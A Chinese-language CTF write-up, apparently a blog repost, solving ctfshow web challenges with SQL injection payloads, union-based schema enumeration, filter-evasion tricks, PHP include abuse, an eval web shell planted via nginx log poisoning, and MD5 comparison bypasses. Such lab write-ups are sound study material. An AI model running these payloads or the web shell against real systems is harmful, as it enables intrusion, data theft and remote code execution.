赞
踩
按下F12,在Where is the flag?下面有一行注释,经base64解码得到flag。
Y3Rmc2hvd3s5YzZkMjQxYS03MWJmLTRiMDItODU3MC1jYmU4MzFiODc0NDJ9
ctfshow{9c6d241a-71bf-4b02-8570-cbe831b87442}
猜测sql执行情况,并用万能密码 ' or 1=1-- 验证。注意--后面必须要跟一个空格才能注释后面代码,达到终止注入的目的。看到“欢迎你,ctfshow”,说明注入成功,用户名为ctfshow。
- -- ctf.show_web2
- select * from tab
- where username='' and password=''
-
- -- username=' or 1=1--
- select * from tab
- where username='' or 1=1-- ' and password=''
用order by + 数字判断有几列被选择。二分法 order by 16,order by 8,order by 4 的时候都没有看到“欢迎你,ctfshow”,直到order by 2 的时候看到了,说明被选择的列数大于等于2,小于4。那么尝试order by 3,发现就是3列被选择。
- -- username=' or 1=1 order by 3--
- select * from tab
- where username='' or 1=1 order by 3-- ' and password=''
验证欢迎的是第几列。发现是第二列。
- -- username=' or 1=1 union select 1,2,3 union select 'a', 'b', 'c';--
- select * from tab
- where username='' or 1=1 union select 1,2,3 union select 'a', 'b', 'c';-- ' and password=''
然后,需要直到数据库名,表明,列名。MySQL数据库查数据库名、表明、列名的方法是。
- -- 查当前使用的数据库名
- select database();
- -- 查db_name数据库里所有表名
- select table_schema, table_name from information_schema.tables
- where table_schema='db_name';
- -- 查db_name数据库tb_name表的所有列名
- select table_schema, table_name, column_name from information_schema.tables
- where table_schema='db_name' and table_name='tb_name';
具体做法是三次查询,把要查询的数据库名,表明,列名放到第2列的位置。
- -- username=' or 1=1 union select 1,database(),3;--
- -- 数据库名是web2
- select * from tab
- where username='' or 1=1 union select 1,database(),3;-- ' and password=''
-
- -- username=' or 1=1 union select 1, table_name, 3 from information_schema.tables where table_schema='web2';--
- -- web2数据库有2张表flag和user
- select * from tab
- where username='' or 1=1
- union
- select 1, table_name, 3 from information_schema.tables
- where table_schema='web2';-- ' and password=''
-
- -- username=' or 1=1 union select 1, column_name, 3 from information_schema.columns where table_schema='web2' and table_name='flag';--
- -- web2.flag表只有一个flag列
- select * from tab
- where username='' or 1=1
- union
- select 1, column_name, 3 from information_schema.columns
- where table_schema='web2' and table_name='flag';-- ' and password=''
最后,查询flag。
- -- username=' or 1=1 union select 1, flag, 3 from web2.flag;--
- select * from tab
- where username='' or 1=1
- union
- select 1, flag, 3 from web2.flag;-- ' and password=''
靶机界面显示 <?php include($_GET['url']);?> ,那么考虑利用include漏洞。对于include漏洞推荐读这篇博文。
文件包含漏洞(include)-学习笔记_include_filter漏洞_小龙在山东的博客-CSDN博客简介服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP Stream(流)属性支持受限于 allow_url_fopenNO受限于allow_url_include仅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107我们先利用 /?url=php://filter/read/convert.base64-encode/resource=index.php 读取index.php的代码的base64编码,转码得到php代码。
- <?php
- error_reporting(0);
- $url=$_GET['url'];
- if(isset($url)){
- include($url);
- }
-
- ?>
- <html lang="zh-CN">
-
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
- <title>ctf.show_web3</title>
- </head>
- <body>
- <center>
- <h2>ctf.show_web3</h2>
- <hr>
- <h3>
- <?php
-
- $code="<?php include($"."_GET['url']);?>";
- highlight_string($code);
- ?>
- </center>
-
- </body>
- </html>
-
发现就是把$url 文件include进来了。我们得知道flag在哪个文件。发送post请求php://input。打开burpsuite,拦截Request,把方法GET改成POST,payload底部添加 <?php system("ls");?> 使之执行 ls 列出当前目录文件。再访问得到的文件,从而得到flag。
和web3一样的界面,但是/?url=php://input会报错。之后一点思路没有,直接看别人的writeup,这个还不错。
尝试访问nginx日志目录 /var/log/nginx/access.log 或者 /var/log/nginx/error.log,发现可以。
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息
如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell
比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
————————————————
版权声明:本文为CSDN博主「士别三日wyx」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/119832592
用Burpsuite在User-Agent插入一句话木马。一句话木马会写入 /var/log/nginx/access.log 里。
<?php eval($_POST['kevin']);?>
用蚁剑getshell,为所欲为吧。
谜面要求v1是字符串,v2是数字,且两者md5值相等。前人之述备矣,直接搬运。
- <?php
- $flag="";
- $v1=$_GET['v1'];
- $v2=$_GET['v2'];
- if(isset($v1) && isset($v2)){
- if(!ctype_alpha($v1)){
- die("v1 error");
- }
- if(!is_numeric($v2)){
- die("v2 error");
- }
- if(md5($v1)==md5($v2)){
- echo $flag;
- }
- }else{
- echo "where is flag?";
- }
- ?>
0e绕过。以下字符串的md5值以0e开头。php中0e开头会解析成科学计数法数字,那么0e……就等于0,0==0。
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
数组绕过,payload为 /?a[]=a&b[]=b 。md5不能对数组做md5,md5值返回为null。null==null。
强类型绕过。需要两个字符串的md5相同。以下3组的md5一致。
- if((string)$_POST['a'] !== (string)$_POST['b']
- && md5($_POST['a']) === md5($_POST['b']))
$a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
$b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
$Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$data1="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70";
$data2="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70";
遇到 $a==md5($a),0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等。
web6和web2类似。只是代码对空格做了过滤,只要输入空格就报错“sql inject error”。绕过的方法是使用 /**/ 注释替代空格,末尾的单行注释使用 #。
- -- 在useranme依次输入
-
- -- 找到注入点
- '/**/or/**/1=1#
- -- 确定选择的3列
- '/**/or/**/1=1/**/order/**/by/**/3#
-
- -- 确定显示第2列
- '/**/or/**/1=1/**/union/**/select/**/1,2,3#
- -- 确定schema为web2
- '/**/or/**/1=1/**/union/**/select/**/1,database(),3#
-
-
- -- 确定table为flag
- '/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
- -- 确定列为flag
- '/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'#
-
- -- 得到flag
- '/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/web2.flag#
先用order by排序确定列数,发现空格符号被过滤了。尝试用/**/绕过,发现可以。再尝试union堆叠查询。
/?id=1/**/order/**/by/**/3
/?id=1/**/union/**/select/**/1,2,3/?id=1/**/union/**/select/**/1,database(),3
注入点在第2列,schema是web7
/?id=1/**/union/**/select/**/1,table_schema,table_name/**/
from/**/information_schema.tables
table是web7.flag、web7.page、web7.user 猜测sql是
"select id,title,content from web7.page where id=".$_GET['id']
/?id=1/**/union/**/select/**/1,table_schema,table_name/**/
from/**/information_schema.tables/**/where/**/table_schema='web7'
为啥不行?单引号不行换双引号
/?id=1/**/union/**/select/**/1,table_schema,table_name/**/
from/**/information_schema.tables/**/where/**/table_schema="web7"
确定是web7.flag表
/?id=1/**/union/**/select/**/1,table_name,column_name/**/
from/**/information_schema.columns/**/where/**/table_schema="web7"/**/
and/**/table_name="flag"
确定是web7.flag表的flag列
/?id=1/**/union/**/select/**/1,flag,3/**/from/**/web7.flag
得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。